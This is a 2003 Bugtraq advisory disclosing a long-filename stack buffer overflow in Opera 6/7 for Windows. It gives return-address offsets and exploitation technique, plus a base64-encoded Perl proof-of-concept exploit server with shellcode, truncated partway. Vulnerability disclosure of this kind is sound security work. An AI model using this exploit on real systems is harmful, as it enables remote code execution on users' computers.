[29269] in bugtraq
[Opera 7/6] Long Filename Buffer Overflow Vulnerability in Download
daemon@ATHENA.MIT.EDU (nesumin)
Tue Mar 11 18:34:51 2003
Date: Wed, 12 Mar 2003 07:50:48 +0900
From: nesumin <nesumin@softhome.net>
To: bugtraq@securityfocus.com
Message-Id: <20030312075027.3F1D.NESUMIN@softhome.net>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------_3E6E66C93F110254A400_MULTIPART_MIXED_"
Content-Transfer-Encoding: 7bit
--------_3E6E66C93F110254A400_MULTIPART_MIXED_
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Hi, all.
We release the information about the vulnerability of Opera, here.
And we hope that this vulnerability be fixed by Vendor immediately.
___________________________________________________
-----------------------------------------------------------------
Synopsis: [Opera 7/6] Long Filename Buffer Overflow
Vulnerability in Download
Product: Opera for Windows
Version: 7.02 build 2668
7.02 bork build 2656b
7.01 build 2651
6.05 build 1140
Vendor: Opera Software ASA (http://www.opera.com/)
Risk: High. Execute arbitrary code
Discovered By: imagine (Operash webmaster)
Reported By: nesumin <nesumin@softhome.net>
Reported Date: 2003-03-06
Published Date: 2003-03-10
-----------------------------------------------------------------
Product :
Opera for windows is GUI base WEB Browser.
It has Mail, News, IM clients.
Opera Software ASA
http://www.opera.com/
OverView :
Opera for Windows has the pernicious security hole.
Opera does not check the filename's length when it downloads files.
Therefore, if the file with "long filename" is downloaded while Opera shows
the "Download Dialog", a buffer overflow occurs on the stack.
It can overwrite saved RET address on the stack, and it enables to execute
the arbitrary code.
If the Opera user downloads the file which has long filename with
malicious code inside, this vulnerability would allow the attacker
to make your computer virus infected or destructed, etc.
Tested on :
Opera
Opera7.02 build 2668
Opera7.02 bork build 2656b
Opera7.01 build 2651
Opera6.05 build 1140
English edition and Japanese edition.
Platform
Windows98SE JP
Windows2000 Pro SP3 JP
WindowsXP Home SP1 JP
Vulnerable in tested :
Opera7.02 build 2668
Opera7.02 bork build 2656b
Opera7.01 build 2651
Opera6.05 build 1140
Unvulnerable in tested :
Non
Vendor status :
Already reported, 2003/03/06.
Vendor said that this issue would be fixed in the next version due out very soon.
Details :
* Reproduce
Step 1. Request file.
Step 2. Response.
Step 3. Try to display download dialog.
Step 4. Buffer Overflow occurs if it has long filename.
Opera does not check the length of the name of a file to download.
If Opera requests the file and the server returns a response,
the "Download Dialog" will be displayed depending on the contents of
the response or file extensions.
Then, it writes the temporary filename for checking file-type
into the buffer on a stack. This temporary filename is generated based on
the temporary directory name specified with the user environment variable
and based on the download filename.
(The file name is changed into 16bit WIDE characters)
Buffer overflow will occur on a stack,
when the long file name (more than the buffer size) is specified.
Since the length of the file name is not checked there.
The RET address is saved on the 4 bytes area of offsets 214H from the buffer.
The offset from the Filename or the File Extension depends on the length of
the temporary directory name.
Shortly, there is the temporary directory name in the top of the buffer.
And in the process of managing overwritten RET address,
ESP register is pointing the next RET address.
Therefore, it is possible to execute the arbitrary code
by overwriting the "jmp ESP" op-code address with the RET address,
and setting the code to the next RET address.
It could be easy to execute arbitrary malicious codes if the attacker
specifies the filename by "Inline Frame", "Frame", "Link", "Script" or etc.
But it's slightly difficult to execute arbitrary codes if the filename is
specified by a Meta data such as "Content-Disposition" header or etc.
That's because the filename will be changed into the WIDE Character with
"System Locale".
Although in this case, it is by no means safe because the stack corruption,
like overwriting RET address by the buffer overflow, can't prevent.
* Opera 7
[Windows 2000, Windows XP]
It has the area to which'd be referred after overwriting.
The 4 bytes area of offset 04H from the next 4bytes area of the RET address.
[Windows 9x]
It has the area to which'd be referred after overwriting.
The 4 bytes area of offset 04H from the next 4bytes area of the RET address,
and the area after offset 2CH.
The heap includes the same data of downloaded filename which the address
ESP+54H points the head address.
* Opera 6
If the filename includes ".",
the offset value of the RET address starts from next of last ".".
If "Encode all addresses with UTF-8" or "Determine action by MIME type" is
disabled, it could be difficult to execute codes because the filename will be
changed into the WIDE Character without "URL decode".
Although in this case, it is by no means safe because the stack corruption,
like overwriting RET address by the buffer overflow, can't prevent.
[Windows 2000, Windows XP]
It has the area to which'd be referred after overwriting.
The 4 bytes area of offset 04H from the next 4bytes area of the RET address.
[Windows 9x]
The offset to the RET address is 244H bytes.
You can avoid the "Exception" by preparing a writable address value
if the latter area of RET|4bytes|4bytes address area is referred to.
Sample Code : (attached file)
dlfnbof.pl
This sample is a little HTTP server which returns HTML with the exploit
code that would run Internet Explorer using this vulnerability.
It's made with Perl and checked on Active Perl5.6.x for Windows.
* This source code is just a sample for checking this vulnerability.
* We will take no responsibility for any kinds of disadvantages
by using this code.
Special thanks :
:: Operash ::
[ Unofficial Opera's Bug and Security information site for Japanese people ]
imagine (Operash webmaster)
melorin
piso (sexy)
Contacts, Etc :
nesumin <nesumin@softhome.net>
We cannot guarantee the accuracy of all statements in this information,
all of the facts have been checked to the best of our ability.
We do not anticipate issuing updated versions of this information
unless there is some material change in the facts.
Should there be a significant change in the facts,
we may update this information. And we will take no responsibility for
any kinds of disadvantages by using this information.
___________________________________________________
--------------------------------------------------
nesumin <nesumin@softhome.net>
--------_3E6E66C93F110254A400_MULTIPART_MIXED_
Content-Type: application/octet-stream; name="dlfnbof.pl"
Content-Disposition: attachment;
filename="dlfnbof.pl"
Content-Transfer-Encoding: base64
IyEvdXNyL2Jpbi9wZXJsDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PQ0KIyBTeW5vcHNpcyA6IFNhbXBsZSBleHBsb2l0IGNvZGUgb2YN
CiMgICAgICAgICAgICAiW09wZXJhIDcvNl0gTG9uZyBGaWxlbmFtZSBCdWZmZXIgT3ZlcmZsb3cN
CiMgICAgICAgICAgICBWdWxuZXJhYmlsaXR5IGluIERvd25sb2FkIg0KIyBWZXJzaW9uICA6IE9w
ZXJhIDYgYW5kIE9wZXJhIDcNCiMgVmVuZG9yICAgOiBPcGVyYSBTb2Z0d2FyZSBBU0ENCiMgVXNh
Z2UgICAgOiBwZXJsIHRoaXMgLWgNCiMgICAgICAgICAgICAtZyBvcHRpb24sIHRoaXMgc2FtcGxl
IHVzZXMgYXR0YWNoZWQgcHJvZ3JhbSwgZ3BhLmV4ZShncGEuYykuDQojICAgICAgICAgICAgZ3Bh
LmV4ZShncGEuYykgaXMgYSBsaXR0bGUgcHJvZ3JhbSB0byBnZXQgYWRkcmVzc2VzIGZvciBXaW5k
b3dzLg0KIyBDb21tZW50ICA6IFRoaXMgc2FtcGxlIGlzIGEgbGl0dGxlIEhUVFAgc2VydmVyIHdo
aWNoIHJldHVybnMNCiMgICAgICAgICAgICBIVE1MIHdpdGggdGhlIGV4cGxvaXRjb2RlIHRoYXQg
d291bGQgcnVuDQojICAgICAgICAgICAgSW50ZXJuZXQgRXhwbG9yZXIgdXNpbmcgdGhpcyB2dWxu
ZXJhYmlsaXR5Lg0KIyBFeGFtcGxlICA6IFsxXSBFeGVjdXRlICJwZXJsIHRoaXMgLXAgMTAwODAi
Lg0KIyAgICAgICAgICAgIFsyXSBPcGVuICJodHRwOi8vMTI3LjAuMC4xOjEwMDgwLyIgYnkgT3Bl
cmEuDQojICAgICAgICAgICAgWzNdIElmIHRoZSBKYXZhU2NyaXB0LCBGcmFtZSBhbmQgSUZyYW1l
IGFyZSBvZmYsDQojICAgICAgICAgICAgICAgIGNsaWNrIHRoZSBsaW5rIGJlbG93LCAiY2xpY2sg
aGVyZSIuDQojDQojIGJ5IG5lc3VtaW4gPG5lc3VtaW5Ac29mdGhvbWUubmV0Pg0KIz09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnVzZSBJ
Tzo6U29ja2V0Ow0KdXNlIElPOjpTZWxlY3Q7DQp1c2UgR2V0b3B0OjpTdGQ7DQpteSAoJG9zLCAk
c2VydmVyYWRkciwgJG9wZXJhLCAkcmFpc2VleGNlcHRpb24sICRwb3J0LCRnZXRhZGRyZXNzLA0K
JEFERFJfUkVULCAkQUREUl9HRVRQUk9DQUREUkVTUywgJEFERFJfTE9BRExJQlJBUlkpOw0KDQoj
LS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGRlZmF1bHQgc2V0dGluZw0KIy0tLS0tLS0tLS0tLS0t
LS0tLS0tLQ0KIyBzZXJ2ZXINCiRzZXJ2ZXJhZGRyID0gIjEyNy4wLjAuMSI7DQokcG9ydCA9IDEw
MDgwOw0KDQojIG9wZXJhIHZlcnNpb24oZm9yIHdpbmRvd3MgOXgpDQojICg2OiBvcGVyYTYsIDc6
IG9wZXJhNykNCiRvcGVyYSA9IDc7DQoNCiMgT1MsIGtlcm5lbDMyLmRsbCBvciBvdGhlci4NCiMg
d2luMmsgc3AzIGpwDQokQUREUl9SRVQgICAgICAgICAgICAgICA9IDB4NzdFNjdEMDQ7DQokQURE
Ul9MT0FETElCUkFSWSAgICAgICA9IDB4NzdFNkZFRTg7DQokQUREUl9HRVRQUk9DQUREUkVTUyAg
ICA9IDB4NzdFNzA5NEM7DQoNCiN3aW45OCBqcA0KIyRBRERSX1JFVCAgICAgICAgICAgICAgPSAw
eEJGRjhGOTgxOw0KIyRBRERSX0xPQURMSUJSQVJZICAgICAgPSAweEJGRjc3NzUwOw0KIyRBRERS
X0dFVFBST0NBRERSRVNTICAgPSAweEJGRjc2RTI4Ow0KDQokZ2V0YWRkcmVzcyA9ICJncGEuZXhl
IjsNCiRyYWlzZWV4Y2VwdGlvbiA9IDE7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnByaW50IFNUREVSUiAoIiBfX19fX19f
X19fX19fX19fX19fX19fX19fX19fLjouX19fX19fX19fX19fX19fX19fX19fX19fX19fXyBcbiIp
Ow0KcHJpbnQgU1RERVJSICgifCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfFxuIik7DQpwcmludCBTVERFUlIgKCJ8ICBbT3BlcmEgNy82
XSBMb25nIEZpbGVuYW1lIEJ1ZmZlciBPdmVyZmxvdyBWdWxuZXJhYmlsaXR5ICB8XG4iKTsNCnBy
aW50IFNUREVSUiAoIiogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICpcbiIpOw0KcHJpbnQgU1RERVJSICgiKiAgVGhpcyBzYW1wbGUgaXMg
YSBsaXR0bGUgSFRUUCBzZXJ2ZXIgd2hpY2ggcmV0dXJucyBIVE1MICAgKlxuIik7DQpwcmludCBT
VERFUlIgKCIqICB3aXRoIHRoZSBleHBsb2l0Y29kZSB0aGF0IHdvdWxkIHJ1biBJbnRlcm5ldCBF
eHBsb3JlciAgICAqXG4iKTsNCnByaW50IFNUREVSUiAoInwgIHVzaW5nIHRoaXMgdnVsbmVyYWJp
bGl0eS4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiIpOw0KcHJpbnQgU1RERVJS
ICgifF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXy5bIGNvZGVkIGJ5IG5lc3Vt
aW4gXS5ffFxuXG4iKTsNCg0KbXkgKCRBRERSX09GRlNFVCwgJENPREVfT0ZGU0VULCAkRkFLRV9B
RERSLCAkVEVNUFBSRUxFTiwkdHBsaHRtbCwNCiRyZXNoZWFkZXIsICR1cmwsICRmYWtlcmVzLCAk
ZGF0YSwgJGNvZGUsICRleHBsb2l0aHRtbCwgJHRpbWVvdXQsJFRFTVBESVJMRU4pOw0KDQpnZXRv
cHRzKCdoZzpvOnA6dzp0OnM6Jyk7DQojIC1oIHVzYWdlDQppZiAoZGVmaW5lZCgkb3B0X2gpICYm
ICRvcHRfaCBlcSAiMSIpDQp7DQogICAgVXNhZ2UoKTsNCiAgICBleGl0KDApOw0KfQ0KDQojIC1n
DQppZiAoISBkZWZpbmVkKCRvcHRfZykgfHwgJG9wdF9nIG5lICIxIikNCnsNCiAgICBkaWUoImNh
bm5vdCBmaW5kIFwiJGdldGFkZHJlc3NcIlxuIikgdW5sZXNzICgteCAkZ2V0YWRkcmVzcyk7DQoN
CiAgICBteSAkdG1wID0gcXgoJGdldGFkZHJlc3MpOw0KICAgIGlmICgkdG1wIGVxICIiIHx8ICR0
bXAhfm1+XigweFtcZEEtRl17OH0pLCgweFtcZEEtRl17OH0pLCgweFtcZEEtRl17OH0pfmkpDQog
ICAgew0KICAgICAgICBkaWUoImNhbm5vdCBnZXQgYWRkcmVzcyIpOw0KICAgIH0NCiAgICAkQURE
Ul9SRVQgICAgICAgICAgICAgICA9IGhleCgkMSk7DQogICAgJEFERFJfTE9BRExJQlJBUlkgICAg
ICAgPSBoZXgoJDIpOw0KICAgICRBRERSX0dFVFBST0NBRERSRVNTICAgID0gaGV4KCQzKTsNCn0N
CnByaW50ZiBTVERFUlIgKCJSRVQgQUREUkVTU1x0XHQweCUwOFhcbiIsICRBRERSX1JFVCk7DQpw
cmludGYgU1RERVJSICgiTE9BRExJQlJBUllcdFx0MHglMDhYXG4iLCAkQUREUl9MT0FETElCUkFS
WSk7DQpwcmludGYgU1RERVJSICgiR0VUUFJPQ0FERFJFU1NcdFx0MHglMDhYXG4iLCAkQUREUl9H
RVRQUk9DQUREUkVTUyk7DQoNCiMgLXQNCiMgdXNlcidzIHRlbXAgZGlyZWN0b3J5IGxlbmd0aA0K
IyBkZXBlbmRzIG9uIHZpY3RpbScgZW52aXJvbm1lbnQgdmFyaWFibGUNCmlmIChkZWZpbmVkKCRv
cHRfdCkpDQp7DQogICAgJFRFTVBESVJMRU4gICAgID0gJG9wdF90KzA7DQogICAgIyRURU1QRElS
TEVOICAgID0gMHgwZjsgIyAiYzpcd2luZG93c1x0ZW1wIg0KICAgICMkVEVNUERJUkxFTiAgICA9
IDB4MjI7ICMgIkM6XERPQ1VNRX4xXCoqKioqKioqXExPQ0FMU34xXFRlbXAiDQp9DQplbHNlDQp7
DQogICAgJFRFTVBESVJMRU4gICAgID0gbGVuZ3RoKCRFTlZ7J1RFTVAnfSk7DQp9DQpwcmludGYg
U1RERVJSIChxcX5URU1QIExlbmd0aFx0XHQlZFxufiwgJFRFTVBESVJMRU4pOw0KDQojIC1vIG9w
ZXJhIHZlcnNpb24NCmlmIChkZWZpbmVkKCRvcHRfbykpDQp7DQogICAgaWYgKCRvcHRfbyBlcSAi
NiIpDQogICAgew0KICAgICAgICAkb3BlcmEgPSA2Ow0KICAgIH0NCiAgICBlbHNpZiAoJG9wdF9v
IGVxICI3IikNCiAgICB7DQogICAgICAgICRvcGVyYSA9IDc7DQogICAgfQ0KICAgIHByaW50IFNU
REVSUiAoIk9wZXJhIHZlcnNpb24oZm9yIDl4KVx0JG9wdF9vXG4iKTsNCn0NCg0KIyBPUw0KJG9z
ID0gKGV4aXN0cygkRU5We09TfSkgJiYgJEVOVntPU30gPX4gL15XaW5kb3dzX05ULykgPyAxIDog
MDsNCg0KIyAtcCBwb3J0DQokcG9ydCA9ICRvcHRfcCArIDAgaWYgKGRlZmluZWQoJG9wdF9wKSk7
DQpkaWUoInBvcnRubyBpcyBub3QgY29ycmVjdFxuIikgaWYgKCRwb3J0IDwgMSAmJiA2NTUzNSA8
ICRwb3J0KTsNCg0KIyAtcyBzZXJ2ZXINCiRzZXJ2ZXJhZGRyID0gJG9wdF9zIGlmIChkZWZpbmVk
KCRvcHRfcykgJiYgJG9wdF9zIG5lICIiKTsNCnByaW50IFNUREVSUiAoInNlcnZlclx0XHRcdCRz
ZXJ2ZXJhZGRyOiRwb3J0XG4iKTsNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgb3BlbiBodHRwOi8vd3d3Lm1zbi5jb20NCiRj
b2RlID0gcGFjaygiQyoiLA0KICAgIDB4RUIsMHgzRSwweDVCLDB4NTMsMHhCOCwweEFBLDB4QUEs
MHhBQSwweEFBLDB4RkYsMHhEMCwweDhCLDB4RDAsMHg1MiwweDgzLDB4QzMsDQogICAgMHgwQiww
eDUzLDB4NTIsMHhCOCwweEJCLDB4QkIsMHhCQiwweEJCLDB4RkYsMHhEMCwweDhCLDB4RjAsMHg1
QSwweDgzLDB4QzMsMHgwOSwNCiAgICAweDUzLDB4NTIsMHhCOCwweEJCLDB4QkIsMHhCQiwweEJC
LDB4RkYsMHhEMCwweDhCLDB4RjgsMHgzMywweEMwLDB4NTAsMHg4MywweEMzLA0KICAgIDB4MDUs
MHg1MywweDgzLDB4QzMsMHgxMywweDUzLDB4NTMsMHg0MCwweDUwLDB4RkYsMHhENiwweDMzLDB4
QzAsMHg1MCwweEZGLDB4RDcsDQogICAgMHhFOCwweEJELDB4RkYsMHhGRiwweEZGDQopOw0KJGNv
ZGUgLj0gcGFjaygiYSp4IiB4IDUsIHF3fm1zdmNydC5kbGwgX3NwYXdubHAgZXhpdCBodHRwOi8v
d3d3Lm1zbi5jb20gZXhwbG9yZXIuZXhlfik7DQoNCiRjb2RlPX5zflx4QUFceEFBXHhBQVx4QUF+
cGFjaygiTCIsICRBRERSX0xPQURMSUJSQVJZKX5lZzsNCiRjb2RlPX5zflx4QkJceEJCXHhCQlx4
QkJ+cGFjaygiTCIsICRBRERSX0dFVFBST0NBRERSRVNTKX5lZzsNCg0KDQokQUREUl9PRkZTRVQg
PSAweDAxMDc7DQokVEVNUFBSRUxFTiA9IDB4MGM7DQokQUREUl9PRkZTRVQgLT0gKCRURU1QRElS
TEVOICsgJFRFTVBQUkVMRU4pOw0KDQokRkFLRV9BRERSID0gMHgwMDQxMDA0MTsgICAgIyB3cml0
YWJsZSBhZGRyZXNzLg0KDQokcmFpc2VleGNlcHRpb24gYW5kICRBRERSX1JFVCA9IDB4ZmVmZWZl
ZmU7DQojJHJhaXNlZXhjZXB0aW9uIGFuZCAkRkFLRV9BRERSID0gMHhmZWZlZmVmZTsNCg0KJHJl
c2hlYWRlciA9ICJIVFRQLzEuMCAyMDAgT0tcbiI7DQokcmVzaGVhZGVyIC49ICJDb250ZW50LXR5
cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtMTZcbiI7DQokcmVzaGVhZGVyIC49ICJQcmFnbWE6
IG5vLWNhY2hlXG4iOw0KJHJlc2hlYWRlciAuPSAiQ29ubmVjdGlvbjogY2xvc2VcbiI7DQokcmVz
aGVhZGVyIC49ICJcbiI7DQoNCiRmYWtlcmVzID0gIkhUVFAvMS4wIDIwMCBPS1xuIjsNCiRmYWtl
cmVzIC49ICJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtQUFBQUFBQUFBQVxuIjsNCiRmYWtl
cmVzIC49ICJQcmFnbWE6IG5vLWNhY2hlXG4iOw0KJGZha2VyZXMgLj0gIkNvbm5lY3Rpb246IGNs
b3NlXG4iOw0KJGZha2VyZXMgLj0gIlxuIjsNCiRmYWtlcmVzIC49ICJceGZmIjsgIyBmb3IgT3Bl
cmEgNiwgYmluYXJ5Lg0KJGZha2VyZXMgLj0gIkxvdmUgJiBQZWFjZSA6KVxuIjsNCg0KJHVybCA9
ICJodHRwOi8vIiAuICRzZXJ2ZXJhZGRyIC4gIjoiIC4gJHBvcnQgLiAiLyI7DQokdXJsPX5zfigu
KX4kMVx4MDB+c2c7DQokdHBsaHRtbCA9IDw8X0hUTUxfOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRh
IGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVU
Ri0xNiI+DQo8dGl0bGU+PC90aXRsZT4NCjwvaGVhZD4NCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFT
Y3JpcHQiPg0KPCEtLQ0KZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9ICJ7dXJsfSI7DQovLy0tPg0K
PC9zY3JpcHQ+DQo8bm9zY3JpcHQ+DQo8ZnJhbWVzZXQ+DQogPGZyYW1lIHNyYz0ie3VybH0iPg0K
PC9mcmFtZXNldD4NCjxub2ZyYW1lPg0KPGJvZHk+DQo8aWZyYW1lIHNyYz0ie3VybH0iIHdpZHRo
PSIwIiBoZWlnaHQ9IjAiPjwvaWZyYW1lPg0KPGEgdGl0bGU9ImNsaWNrIGhlcmUiIGhyZWY9Int1
cmx9Ij5jbGljayBoZXJlPC9hPg0KPC9ib2R5Pg0KPC9ub2ZyYW1lPg0KPC9ub3NjcmlwdD4NCjwv
aHRtbD4NCl9IVE1MXw0KJHRwbGh0bWw9fnN+KC4pfiQxXHgwMH5nczsNCm15ICRyZXBsYWNlID0g
Int1cmx9IjsNCiRyZXBsYWNlPX5zfiguKX4kMVx4MDB+Z3M7DQoNCiMtLS0tDQokdGltZW91dCA9
IHVuZGVmOw0KbXkgKCVDTElFTlRTLCRyZWFkYnVmKTsNCm15ICRzc29ja2V0ID0gbmV3IElPOjpT
b2NrZXQ6OklORVQoTG9jYWxQb3J0PT4kcG9ydCwgTGlzdGVuPT5TT01BWENPTk4sIFJldXNlPT4x
KSB8fCBkaWUoIiQhIik7DQpwcmludCBTVERFUlIgKCItIiB4IDYyLCAiXG4iKTsNCnByaW50IFNU
REVSUiAoInNlcnZlciBzdGFydGVkXG4iKTsNCm15ICRzZWxlY3RlciA9IElPOjpTZWxlY3QtPm5l
dygkc3NvY2tldCk7DQoNCndoaWxlICgxKQ0Kew0KICAgIGZvcmVhY2ggbXkgJGFjdGl2ZSAoQHso
SU86OlNlbGVjdC0+c2VsZWN0KCRzZWxlY3RlciwkdGltZW91dCx1bmRlZix1bmRlZikpWzBdfSkN
CiAgICB7DQogICAgICAgIGlmICgkYWN0aXZlID09ICRzc29ja2V0KQ0KICAgICAgICB7DQogICAg
ICAgICAgICBteSAkY3NvY2tldCA9ICRzc29ja2V0LT5hY2NlcHQoKTsNCiAgICAgICAgICAgIGlm
ICghIGRlZmluZWQoJGNzb2NrZXQpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHBy
aW50IFNUREVSUiAoImFjY2VwdCBlcnJvciAgJCFcbiIpOw0KICAgICAgICAgICAgICAgIG5leHQ7
DQogICAgICAgICAgICB9DQogICAgICAgICAgICBwcmludCBTVERFUlIgKCJpbmNvbWluZyBjbGll
bnQsICRhY3RpdmVcbiIpOw0KICAgICAgICAgICAgJGNzb2NrZXQtPmF1dG9mbHVzaCgpOw0KICAg
ICAgICAgICAgJHNlbGVjdGVyLT5hZGQoJGNzb2NrZXQpOw0KICAgICAgICB9DQogICAgICAgIGVs
c2UNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCRhY3RpdmUtPnJlY3YoJHJlYWRidWYsIDEw
MjQpICYmIDAgPCBsZW5ndGgoJHJlYWRidWYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICRDTElFTlRTeyRhY3RpdmV9IC49ICRyZWFkYnVmOw0KICAgICAgICAgICAgICAgIGlmICgw
IDw9IHJpbmRleCgkQ0xJRU5UU3skYWN0aXZlfSwgIlxyXG5cclxuIikpDQogICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJENMSUVOVFN7JGFjdGl2ZX09fm1+XkdFVCAo
XFMrKSBIVFRQfmlzKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICBwcmludCBTVERFUlIgKCJyZXF1ZXN0XG4kQ0xJRU5UU3skYWN0aXZlfVxuIik7DQoNCiAg
ICAgICAgICAgICAgICAgICAgICAgIGlmICgkMSBlcSAiLyIpDQogICAgICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJENMSUVOVFN7JGFjdGl2ZX09fm1+
XG5Vc2VyLUFnZW50OlxzKyguKyl+aTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBteSAk
dWEgPSAkMTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJG9wdF9v
KSAmJiAkdWEgbmUgJycpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAjb3BlcmENCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJG9wZXJhID0gJHVhID1+bX5PcGVyYVsvIF0/Nn5pID8gNiA6IDc7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICMkb3MgPSAkdWEgPX5tfldpbmRvd3MgPyg/Ok5UfFhQfDIw
MDApfmkgPyAxIDogMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBpZiAoJG9zID09IDApICAgICAgICAgICAjIDl4DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBp
ZiAoJG9wZXJhID09IDcpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gJGNvZGU7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSAuPSAiXHg5MCIgeCAoKCRBRERSX09GRlNF
VC0xKSoyLWxlbmd0aCgkZGF0YSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgJGRhdGEgLj0gcGFjaygiTCIsICRBRERSX1JFVCk7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkZGF0YSAuPSBwYWNrKCJDKiIsIDB4OTAsMHg5MCk7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSAuPSBwYWNrKCJDKiIsIDB4RUIsMHgwNCk7
ICMgam1wDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSAuPSBwYWNr
KCJMIiwgJEZBS0VfQUREUik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAj
IGNhbGwgZHdvcmQgcHRyW2VzcCs1NGhdIC8vIFtlc3ArNTRoXSBpcyBhbm90aGVyIHBvaW50ZXIg
dGhhdCBpcyBzYW1lIGZpbGVuYW1lIGRhdGEgb24gaGVhcC4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICRkYXRhIC49IHBhY2soIkMqIiwgMHhGRiwgMHg1NCwgMHgyNCwgMHg1
NCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgZWxzaWYgKCRvcGVyYSA9PSA2KQ0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9
ICJceDQxXHgwMCIgeCAoJEFERFJfT0ZGU0VUKzI0KTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICRkYXRhIC49IHBhY2soIkwiLCAkQUREUl9SRVQpOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgLj0gJGNvZGU7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgZWxzaWYgKCRvcyA9PSAxKSAgICAgICAgIyAyaywgeHANCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRkYXRhID0gIlx4NDFceDAwIiB4ICgkQUREUl9PRkZTRVQtMSk7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICRkYXRhIC49IHBhY2soIkwiLCAkQUREUl9SRVQpOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSAuPSBwYWNrKCJDKiIsIDB4RUIsMHgwNik7
ICMgam1wIGNvZGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgLj0gcGFj
aygiQyoiLCAweDkwLDB4OTApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0
YSAuPSBwYWNrKCJMIiwgJEZBS0VfQUREUik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRkYXRhIC49ICRjb2RlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gJHVybCAuICRkYXRhOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICRkYXRhIC49ICJceDkwIiBpZiBsZW5ndGgoJGRhdGEpJjE7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4cGxvaXRodG1sID0gJHRwbGh0bWw7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJGV4cGxvaXRodG1sPX5zfiRyZXBsYWNlfiRkYXRhfmdz
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleHBsb2l0aHRtbCA9IHBhY2soIkMqIiww
eGZmLDB4ZmUpIC4gJGV4cGxvaXRodG1sOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGFjdGl2ZS0+c2VuZCgkcmVzaGVhZGVyIC4gJGV4cGxvaXRodG1sKTsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBwcmludCBTVERFUlIgKCJzZW5kIHJlc3BvbnNlXG4kcmVzaGVhZGVyJGV4
